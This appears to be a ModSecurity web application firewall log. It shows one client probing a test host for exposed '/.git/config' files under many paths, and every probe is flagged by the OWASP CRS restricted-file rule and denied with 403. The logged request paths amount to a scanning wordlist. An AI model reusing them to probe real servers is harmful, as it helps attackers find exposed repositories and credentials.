[Thu Jan 16 14:20:45.471765 2025] [:error] [pid 500655] [client 45.135.232.70:49004] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /services/auth/api/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/auth/api/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzhAAAAAM&quot;]
[Thu Jan 16 14:20:45.472252 2025] [:error] [pid 500655] [client 45.135.232.70:49004] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/auth/api/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzhAAAAAM&quot;]
[Thu Jan 16 14:20:45.472659 2025] [:error] [pid 500655] [client 45.135.232.70:49004] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/services/auth/api/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzhAAAAAM&quot;]
[Thu Jan 16 14:20:45.473603 2025] [:error] [pid 510637] [client 45.135.232.70:49024] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /cms/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VeAAAAA8&quot;]
[Thu Jan 16 14:20:45.473873 2025] [:error] [pid 510637] [client 45.135.232.70:49024] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VeAAAAA8&quot;]
[Thu Jan 16 14:20:45.475493 2025] [:error] [pid 501744] [client 45.135.232.70:49090] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /old-cuburn/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlHwAAAAY&quot;]
[Thu Jan 16 14:20:45.475666 2025] [:error] [pid 510629] [client 45.135.232.70:49214] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/v1/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo1wAAAAw&quot;]
[Thu Jan 16 14:20:45.475748 2025] [:error] [pid 501744] [client 45.135.232.70:49090] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlHwAAAAY&quot;]
[Thu Jan 16 14:20:45.475977 2025] [:error] [pid 501744] [client 45.135.232.70:49090] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/old-cuburn/.git/config&quot;] [unique_id &quot;Z4kHrZu1_bwn-OVhpZOlHwAAAAY&quot;]
[Thu Jan 16 14:20:45.476188 2025] [:error] [pid 510629] [client 45.135.232.70:49214] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo1wAAAAw&quot;]
[Thu Jan 16 14:20:45.476594 2025] [:error] [pid 510629] [client 45.135.232.70:49214] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/v1/.git/config&quot;] [unique_id &quot;Z4kHrUybss1A0El7xRHo1wAAAAw&quot;]
[Thu Jan 16 14:20:45.477762 2025] [:error] [pid 510616] [client 45.135.232.70:49102] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v4/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95OwAAAAo&quot;]
[Thu Jan 16 14:20:45.477806 2025] [:error] [pid 510637] [client 45.135.232.70:49024] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cms/.git/config&quot;] [unique_id &quot;Z4kHrS99y7sHzDyIeh2VeAAAAA8&quot;]
[Thu Jan 16 14:20:45.477993 2025] [:error] [pid 510616] [client 45.135.232.70:49102] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95OwAAAAo&quot;]
[Thu Jan 16 14:20:45.478203 2025] [:error] [pid 510616] [client 45.135.232.70:49102] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/user/v4/.git/config&quot;] [unique_id &quot;Z4kHrU2UnlP04CIbRA95OwAAAAo&quot;]
[Thu Jan 16 14:20:45.510544 2025] [:error] [pid 510615] [client 45.135.232.70:49142] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /repository/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0twAAAAk&quot;]
[Thu Jan 16 14:20:45.511193 2025] [:error] [pid 510615] [client 45.135.232.70:49142] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0twAAAAk&quot;]
[Thu Jan 16 14:20:45.511615 2025] [:error] [pid 510615] [client 45.135.232.70:49142] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.git/config&quot;] [unique_id &quot;Z4kHrcMsllM7RW6P3X-0twAAAAk&quot;]
[Thu Jan 16 14:20:45.574931 2025] [:error] [pid 510631] [client 45.135.232.70:49158] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /core/email/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/email/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExXwAAAA4&quot;]
[Thu Jan 16 14:20:45.575280 2025] [:error] [pid 510631] [client 45.135.232.70:49158] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/email/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExXwAAAA4&quot;]
[Thu Jan 16 14:20:45.575521 2025] [:error] [pid 510631] [client 45.135.232.70:49158] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/email/.git/config&quot;] [unique_id &quot;Z4kHrall1LqbFli-TYExXwAAAA4&quot;]
[Thu Jan 16 14:20:45.578363 2025] [:error] [pid 510617] [client 45.135.232.70:49250] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/aws/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/aws/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiLgAAAAs&quot;]
[Thu Jan 16 14:20:45.578647 2025] [:error] [pid 510617] [client 45.135.232.70:49250] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/aws/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiLgAAAAs&quot;]
[Thu Jan 16 14:20:45.578833 2025] [:error] [pid 510617] [client 45.135.232.70:49250] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/aws/.git/config&quot;] [unique_id &quot;Z4kHrR0GqQT5iX5c5mKiLgAAAAs&quot;]
[Thu Jan 16 14:20:45.584790 2025] [:error] [pid 511460] [client 45.135.232.70:49156] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /api/internal/services/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/internal/services/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60fAAAAAA&quot;]
[Thu Jan 16 14:20:45.585375 2025] [:error] [pid 511460] [client 45.135.232.70:49156] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/internal/services/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60fAAAAAA&quot;]
[Thu Jan 16 14:20:45.585871 2025] [:error] [pid 511460] [client 45.135.232.70:49156] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/internal/services/.git/config&quot;] [unique_id &quot;Z4kHrWMvBnNNNT6Ukk60fAAAAAA&quot;]
[Thu Jan 16 14:20:45.590356 2025] [:error] [pid 500653] [client 45.135.232.70:49116] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /database/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNDgAAAAE&quot;]
[Thu Jan 16 14:20:45.590916 2025] [:error] [pid 500653] [client 45.135.232.70:49116] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNDgAAAAE&quot;]
[Thu Jan 16 14:20:45.591197 2025] [:error] [pid 500653] [client 45.135.232.70:49116] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.git/config&quot;] [unique_id &quot;Z4kHrZWbe3YhcT1jDQtNDgAAAAE&quot;]
[Thu Jan 16 14:20:45.599811 2025] [:error] [pid 500655] [client 45.135.232.70:49234] [client 45.135.232.70] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /legacy/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legacy/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzhQAAAAM&quot;]
[Thu Jan 16 14:20:45.600059 2025] [:error] [pid 500655] [client 45.135.232.70:49234] [client 45.135.232.70] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legacy/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzhQAAAAM&quot;]
[Thu Jan 16 14:20:45.600230 2025] [:error] [pid 500655] [client 45.135.232.70:49234] [client 45.135.232.70] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/legacy/.git/config&quot;] [unique_id &quot;Z4kHrQgnMRquV0bdEPwzhQAAAAM&quot;]
